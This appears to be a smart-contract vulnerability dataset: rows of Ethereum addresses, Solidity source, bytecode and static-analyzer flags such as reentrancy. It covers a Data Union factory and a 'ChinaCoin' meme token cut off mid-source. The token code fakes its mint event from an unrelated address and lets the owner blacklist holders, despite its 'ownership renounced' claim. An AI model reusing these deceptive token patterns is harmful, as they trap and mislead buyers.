5b6001600160a01b038216610f045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610f665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610f9257506000546001600160a01b03838116911614155b1561127357601554600160a01b900460ff1661102b576000546001600160a01b0384811691161461102b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b60165481111561107d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff161580156110bf57506001600160a01b03821660009081526010602052604090205460ff16155b6111175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b0383811691161461119c5760175481611139846107fd565b6111439190611e41565b1061119c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b60006111a7306107fd565b6018546016549192508210159082106111c05760165491505b8080156111d75750601554600160a81b900460ff16155b80156111f157506015546001600160a01b03868116911614155b80156112065750601554600160b01b900460ff165b801561122b57506001600160a01b03851660009081526005602052604090205460ff16155b801561125057506001600160a01b03841660009081526005602052604090205460ff16155b156112705761125e82611472565b47801561126e5761126e476113b4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b557506001600160a01b03831660009081526005602052604090205460ff165b806112e757506015546001600160a01b038581169116148015906112e757506015546001600160a01b03848116911614155b156112f45750600061136e565b6015546001600160a01b03858116911614801561131f57506014546001600160a01b03848116911614155b1561133157600854600c55600954600d555b6015546001600160a01b03848116911614801561135c57506014546001600160a01b03858116911614155b1561136e57600a54600c55600b54600d555b610bfb848484846115fb565b6000818484111561139e5760405162461bcd60e51b815260040161062a9190611bb3565b5060006113ab8486611e59565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156114555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b600061145f611629565b905061146b838261164c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114ba576114ba611dfa565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150e57600080fd5b505afa158015611522573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115469190611e70565b8160018151811061155957611559611dfa565b6001600160a01b03928316602091820292909201015260145461157f9130911684610d1a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b8908590600090869030904290600401611e8d565b600060405180830381600087803b1580156115d257600080fd5b505af11580156115e6573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116085761160861168e565b6116138484846116bc565b80610bfb57610bfb600e54600c55600f54600d55565b60008060006116366117b3565b9092509050611645828261164c565b9250505090565b600061146b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f5565b600c5415801561169e5750600d54155b156116a557565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116ce87611823565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117009087611880565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172f90866118c2565b6001600160a01b03891660009081526002602052604090205561175181611921565b61175b848361196b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117a091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117cf828261164c565b8210156117ec57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118165760405162461bcd60e51b815260040161062a9190611bb3565b5060006113ab8486611efe565b60008060008060008060008060006118408a600c54600d5461198f565b9250925092506000611850611629565b905060008060006118638e8787876119e4565b919e509c509a509598509396509194505050505091939550919395565b600061146b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137a565b6000806118cf8385611e41565b90508381101561146b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b600061192b611629565b905060006119398383611a34565b3060009081526002602052604090205490915061195690826118c2565b30600090815260026020526040902055505050565b6006546119789083611880565b60065560075461198890826118c2565b6007555050565b60008080806119a960646119a38989611a34565b9061164c565b905060006119bc60646119a38a89611a34565b905060006119d4826119ce8b86611880565b90611880565b9992985090965090945050505050565b60008080806119f38886611a34565b90506000611a018887611a34565b90506000611a0f8888611a34565b90506000611a21826119ce8686611880565b939b939a50919850919650505050505050565b600082611a43575060006106b0565b6000611a4f8385611f20565b905082611a5c8583611efe565b1461146b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b8035611ae981611ac9565b919050565b60006020808385031215611b0157600080fd5b823567ffffffffffffffff80821115611b1957600080fd5b818501915085601f830112611b2d57600080fd5b813581811115611b3f57611b3f611ab3565b8060051b604051601f19603f83011681018181108582111715611b6457611b64611ab3565b604052918252848201925083810185019188831115611b8257600080fd5b938501935b82851015611ba757611b9885611ade565b84529385019392850192611b87565b98975050505050505050565b600060208083528351808285015260005b81811015611be057858101830151858201604001528201611bc4565b81811115611bf2576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1b57600080fd5b8235611c2681611ac9565b946020939093013593505050565b600080600060608486031215611c4957600080fd5b8335611c5481611ac9565b92506020840135611c6481611ac9565b929592945050506040919091013590565b600060208284031215611c8757600080fd5b813561146b81611ac9565b80358015158114611ae957600080fd5b600060208284031215611cb457600080fd5b61146b82611c92565b600060208284031215611ccf57600080fd5b5035919050565b60008060008060808587031215611cec57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1d57600080fd5b833567ffffffffffffffff80821115611d3557600080fd5b818601915086601f830112611d4957600080fd5b813581811115611d5857600080fd5b8760208260051b8501011115611d6d57600080fd5b602092830195509350611d839186019050611c92565b90509250925092565b60008060408385031215611d9f57600080fd5b8235611daa81611ac9565b91506020830135611dba81611ac9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3a57611e3a611e10565b5060010190565b60008219821115611e5457611e54611e10565b500190565b600082821015611e6b57611e6b611e10565b500390565b600060208284031215611e8257600080fd5b815161146b81611ac9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611edd5784516001600160a01b031683529383019391830191600101611eb8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3a57611f3a611e10565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e08aa284a141b6e8b25177a5b1201b76f63e44b7a0f77ba635252b5bff0205064736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 1,972 |
0x6d201374D7c28EF1c3cc1b6FA300f06110B597A3 | /**
*Submitted for verification at Etherscan.io on 2021-09-06
*/
// Sources flattened with hardhat v2.6.2 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/CloneLib.sol
//solhint-disable avoid-low-level-calls
//solhint-disable no-inline-assembly
/** NOTE: DO NOT MODIFY. This has been audited and test was removed in truffle -> waffle transition */
library CloneLib {
/**
* Returns bytecode of a new contract that clones template
* Adapted from https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-sdk/master/packages/lib/contracts/upgradeability/ProxyFactory.sol
* Which in turn adapted it from https://github.com/optionality/clone-factory/blob/32782f82dfc5a00d103a7e61a17a5dedbd1e8e9d/contracts/CloneFactory.sol
*/
function cloneBytecode(address template) internal pure returns (bytes memory code) {
bytes20 targetBytes = bytes20(template);
assembly {
code := mload(0x40)
mstore(0x40, add(code, 0x57)) // code length is 0x37 plus 0x20 for bytes length field. update free memory pointer
mstore(code, 0x37) // store length in first 32 bytes
// store clone source address after first 32 bytes
mstore(add(code, 0x20), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(code, 0x34), targetBytes)
mstore(add(code, 0x48), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
}
}
/**
* Predict the CREATE2 address.
* See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1014.md for calculation details
*/
function predictCloneAddressCreate2(
address template,
address deployer,
bytes32 salt
) internal pure returns (address proxy) {
bytes32 codehash = keccak256(cloneBytecode(template));
return address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xff),
deployer,
salt,
codehash
)))));
}
/**
* Deploy given bytecode using CREATE2, address can be known in advance, get it from predictCloneAddressCreate2
* Optional 2-step deployment first runs the constructor, then supplies an initialization function call.
* @param code EVM bytecode that would be used in a contract deploy transaction (to=null)
* @param initData if non-zero, send an initialization function call in the same tx with given tx input data (e.g. encoded Solidity function call)
*/
function deployCodeAndInitUsingCreate2(
bytes memory code,
bytes memory initData,
bytes32 salt
) internal returns (address payable proxy) {
uint256 len = code.length;
assembly {
proxy := create2(0, add(code, 0x20), len, salt)
}
require(proxy != address(0), "error_alreadyCreated");
if (initData.length != 0) {
(bool success, ) = proxy.call(initData);
require(success, "error_initialization");
}
}
/**
* Deploy given bytecode using old-style CREATE, address is hash(sender, nonce)
* Optional 2-step deployment first runs the constructor, then supplies an initialization function call.
* @param code EVM bytecode that would be used in a contract deploy transaction (to=null)
* @param initData if non-zero, send an initialization function call in the same tx with given tx input data (e.g. encoded Solidity function call)
*/
function deployCodeAndInitUsingCreate(
bytes memory code,
bytes memory initData
) internal returns (address payable proxy) {
uint256 len = code.length;
assembly {
proxy := create(0, add(code, 0x20), len)
}
require(proxy != address(0), "error_create");
if (initData.length != 0) {
(bool success, ) = proxy.call(initData);
require(success, "error_initialization");
}
}
}
// File contracts/IAMB.sol
// Tokenbridge Arbitrary Message Bridge
interface IAMB {
//only on mainnet AMB:
function executeSignatures(bytes calldata _data, bytes calldata _signatures) external;
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function requiredSignatures() external view returns (uint256);
function numMessagesSigned(bytes32 _message) external view returns (uint256);
function signature(bytes32 _hash, uint256 _index) external view returns (bytes memory);
function message(bytes32 _hash) external view returns (bytes memory);
function failedMessageDataHash(bytes32 _messageId)
external
view
returns (bytes32);
function failedMessageReceiver(bytes32 _messageId)
external
view
returns (address);
function failedMessageSender(bytes32 _messageId)
external
view
returns (address);
function requireToPassMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
}
// File contracts/ITokenMediator.sol
interface ITokenMediator {
function bridgeContract() external view returns (address);
//returns:
//Multi-token mediator: 0xb1516c26 == bytes4(keccak256(abi.encodePacked("multi-erc-to-erc-amb")))
//Single-token mediator: 0x76595b56 == bytes4(keccak256(abi.encodePacked("erc-to-erc-amb")))
function getBridgeMode() external pure returns (bytes4 _data);
function relayTokensAndCall(address token, address _receiver, uint256 _value, bytes calldata _data) external;
}
// File contracts/DataUnionFactoryMainnet.sol
interface IDataUnionMainnet {
function sidechainAddress() external view returns (address proxy);
}
contract DataUnionFactoryMainnet {
event MainnetDUCreated(address indexed mainnet, address indexed sidechain, address indexed owner, address template);
address public dataUnionMainnetTemplate;
address public defaultTokenMainnet;
address public defaultTokenMediatorMainnet;
address public defaultTokenSidechain;
address public defaultTokenMediatorSidechain;
// needed to calculate address of sidechain contract
address public dataUnionSidechainTemplate;
address public dataUnionSidechainFactory;
uint256 public sidechainMaxGas;
constructor(
address _dataUnionMainnetTemplate,
address _dataUnionSidechainTemplate,
address _dataUnionSidechainFactory,
address _defaultTokenMainnet,
address _defaultTokenMediatorMainnet,
address _defaultTokenSidechain,
address _defaultTokenMediatorSidechain,
uint256 _sidechainMaxGas)
{
dataUnionMainnetTemplate = _dataUnionMainnetTemplate;
dataUnionSidechainTemplate = _dataUnionSidechainTemplate;
dataUnionSidechainFactory = _dataUnionSidechainFactory;
defaultTokenMainnet = _defaultTokenMainnet;
defaultTokenMediatorMainnet = _defaultTokenMediatorMainnet;
defaultTokenSidechain = _defaultTokenSidechain;
defaultTokenMediatorSidechain = _defaultTokenMediatorSidechain;
sidechainMaxGas = _sidechainMaxGas;
}
function sidechainAddress(address mainetAddress)
public view
returns (address)
{
return CloneLib.predictCloneAddressCreate2(
dataUnionSidechainTemplate,
dataUnionSidechainFactory,
bytes32(uint256(uint160(mainetAddress)))
);
}
/*
*/
function mainnetAddress(address deployer, string memory name)
public view
returns (address)
{
bytes32 salt = keccak256(abi.encode(bytes(name), deployer));
return CloneLib.predictCloneAddressCreate2(
dataUnionMainnetTemplate,
address(this),
salt
);
}
function deployNewDataUnion(
address owner,
uint256 adminFeeFraction,
uint256 duFeeFraction,
address duBeneficiary,
address[] memory agents,
string memory name
)
public
returns (address)
{
return deployNewDataUnionUsingToken(
defaultTokenMainnet,
defaultTokenMediatorMainnet,
defaultTokenSidechain,
defaultTokenMediatorSidechain,
owner,
adminFeeFraction,
duFeeFraction,
duBeneficiary,
agents,
name
);
}
function deployNewDataUnionUsingToken(
address tokenMainnet,
address tokenMediatorMainnet,
address tokenSidechain,
address tokenMediatorSidechain,
address owner,
uint256 adminFeeFraction,
uint256 duFeeFraction,
address duBeneficiary,
address[] memory agents,
string memory name
)
public
returns (address)
{
bytes32 salt = keccak256(abi.encode(bytes(name), msg.sender));
bytes memory data = abi.encodeWithSignature("initialize(address,address,address,address,address,uint256,address,address,uint256,uint256,address,address[])",
tokenMainnet,
tokenMediatorMainnet,
tokenSidechain,
tokenMediatorSidechain,
dataUnionSidechainFactory,
sidechainMaxGas,
dataUnionSidechainTemplate,
owner,
adminFeeFraction,
duFeeFraction,
duBeneficiary,
agents
);
address du = CloneLib.deployCodeAndInitUsingCreate2(CloneLib.cloneBytecode(dataUnionMainnetTemplate), data, salt);
emit MainnetDUCreated(du, sidechainAddress(du), owner, dataUnionMainnetTemplate);
return du;
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806371f6d9651161007157806371f6d9651461014c5780639f7faa571461015f578063b6a7ee6814610172578063ba13683a14610185578063cfeef80714610198578063d4c31bd4146101ab57600080fd5b8063015388a1146100b95780630620a89b146100e95780630b23e95a146100fc5780630edc7f621461011357806317c2a98c146101265780632918bf6714610139575b600080fd5b6006546100cc906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6002546100cc906001600160a01b031681565b61010560075481565b6040519081526020016100e0565b6001546100cc906001600160a01b031681565b6100cc6101343660046106a5565b6101be565b6100cc6101473660046106c7565b6101e8565b6000546100cc906001600160a01b031681565b6003546100cc906001600160a01b031681565b6004546100cc906001600160a01b031681565b6100cc6101933660046107f2565b610328565b6005546100cc906001600160a01b031681565b6100cc6101b93660046107a4565b610366565b6005546006546000916101e2916001600160a01b03918216919081169085166103b6565b92915050565b60008082336040516020016101fe92919061096e565b60405160208183030381529060405280519060200120905060008c8c8c8c600660009054906101000a90046001600160a01b0316600754600560009054906101000a90046001600160a01b03168f8f8f8f8f60405160240161026b9c9b9a999897969594939291906108e9565b60408051601f198184030181529190526020810180516001600160e01b03166334f0a85b60e21b17905260008054919250906102ba906102b3906001600160a01b0316610424565b8385610476565b9050896001600160a01b03166102cf826101be565b6000546040516001600160a01b03918216815291811691908416907f7bb36c64b37ae129eda8a24fd78defec04cc7a06bb27863c5a4571dd5d70acee9060200160405180910390a49d9c50505050505050505050505050565b60015460025460035460045460009361035b936001600160a01b03918216939082169290821691168b8b8b8b8b8b6101e8565b979650505050505050565b600080828460405160200161037c92919061096e565b60408051601f1981840301815291905280516020909101206000549091506103ae906001600160a01b031630836103b6565b949350505050565b6000806103c285610424565b8051602091820120604080516001600160f81b03198185015260609790971b6bffffffffffffffffffffffff19166021880152603587019590955260558087019190915284518087039091018152607590950190935250508151910120919050565b604080516057810190915260378152733d602d80600a3d3981f3363d3d373d3d3d363d7360601b602082015260609190911b60348201526e5af43d82803e903d91602b57fd5bf360881b604882015290565b825160009082816020870184f591506001600160a01b0382166104d75760405162461bcd60e51b8152602060048201526014602482015273195c9c9bdc97d85b1c9958591e50dc99585d195960621b60448201526064015b60405180910390fd5b835115610584576000826001600160a01b0316856040516104f891906108cd565b6000604051808303816000865af19150503d8060008114610535576040519150601f19603f3d011682016040523d82523d6000602084013e61053a565b606091505b50509050806105825760405162461bcd60e51b815260206004820152601460248201527332b93937b92fb4b734ba34b0b634bd30ba34b7b760611b60448201526064016104ce565b505b509392505050565b80356001600160a01b03811681146105a357600080fd5b919050565b600082601f8301126105b957600080fd5b8135602067ffffffffffffffff8211156105d5576105d5610a13565b8160051b6105e48282016109b2565b8381528281019086840183880185018910156105ff57600080fd5b600093505b85841015610629576106158161058c565b835260019390930192918401918401610604565b50979650505050505050565b600082601f83011261064657600080fd5b813567ffffffffffffffff81111561066057610660610a13565b610673601f8201601f19166020016109b2565b81815284602083860101111561068857600080fd5b816020850160208301376000918101602001919091529392505050565b6000602082840312156106b757600080fd5b6106c08261058c565b9392505050565b6000806000806000806000806000806101408b8d0312156106e757600080fd5b6106f08b61058c565b99506106fe60208c0161058c565b985061070c60408c0161058c565b975061071a60608c0161058c565b965061072860808c0161058c565b955060a08b0135945060c08b0135935061074460e08c0161058c565b92506101008b013567ffffffffffffffff8082111561076257600080fd5b61076e8e838f016105a8565b93506101208d013591508082111561078557600080fd5b506107928d828e01610635565b9150509295989b9194979a5092959850565b600080604083850312156107b757600080fd5b6107c08361058c565b9150602083013567ffffffffffffffff8111156107dc57600080fd5b6107e885828601610635565b9150509250929050565b60008060008060008060c0878903121561080b57600080fd5b6108148761058c565b955060208701359450604087013593506108306060880161058c565b9250608087013567ffffffffffffffff8082111561084d57600080fd5b6108598a838b016105a8565b935060a089013591508082111561086f57600080fd5b5061087c89828a01610635565b9150509295509295509295565b600081518084526020808501945080840160005b838110156108c25781516001600160a01b03168752958201959082019060010161089d565b509495945050505050565b600082516108df8184602087016109e3565b9190910192915050565b600060018060a01b03808f168352808e166020840152808d166040840152808c166060840152808b1660808401528960a084015280891660c084015280881660e084015286610100840152856101208401528085166101408401525061018061016083015261095c610180830184610889565b9e9d5050505050505050505050505050565b604081526000835180604084015261098d8160608501602088016109e3565b6001600160a01b0393909316602083015250601f91909101601f191601606001919050565b604051601f8201601f1916810167ffffffffffffffff811182821017156109db576109db610a13565b604052919050565b60005b838110156109fe5781810151838201526020016109e6565b83811115610a0d576000848401525b50505050565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220703f139599c542b3e1ce7fe252c0b4026d739a269c682a4e48e2a3e4abd7643364736f6c63430008060033 | {"success": true, "error": null, "results": {}} | 1,973 |
0x7fa38828f41b144eee97a8fe47c0f2b107b0accd | /**
*Submitted for verification at Etherscan.io on 2021-06-13
*/
/*
t.me/ChinaCoinETH
Marketing paid
Liqudity Locked
wnership renounced
No Devwallets
CG, CMC listing: Ongoing
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ChinaCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "ChinaCoin";
string private constant _symbol = unicode'FUD🚫';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 3;
_teamFee = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 3;
_teamFee = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
